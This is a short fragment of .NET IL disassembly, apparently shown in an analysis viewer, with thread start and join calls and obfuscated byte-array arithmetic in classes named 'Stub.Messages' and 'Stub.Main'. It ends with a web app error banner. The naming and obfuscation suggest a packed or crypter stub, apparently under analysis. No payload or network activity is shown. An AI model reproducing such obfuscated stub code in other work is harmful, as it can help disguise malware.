newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.2 <null>
stloc.s V_24
br IL_057F: ldloc.s V_24
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ldsfld System.Byte[] Stub.Messages::Ⴗ
ldc.i4 430
ldsfld System.Byte[] Stub.Messages::Ⴗ
ldc.i4 430
ldelem.u1 <null>
ldsfld System.Byte[] Stub.Messages::Ⴗ
ldc.i4 286
ldelem.u1 <null>
mul <null>
ldc.i4 254
and <null>
stelem.i1 <null>
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙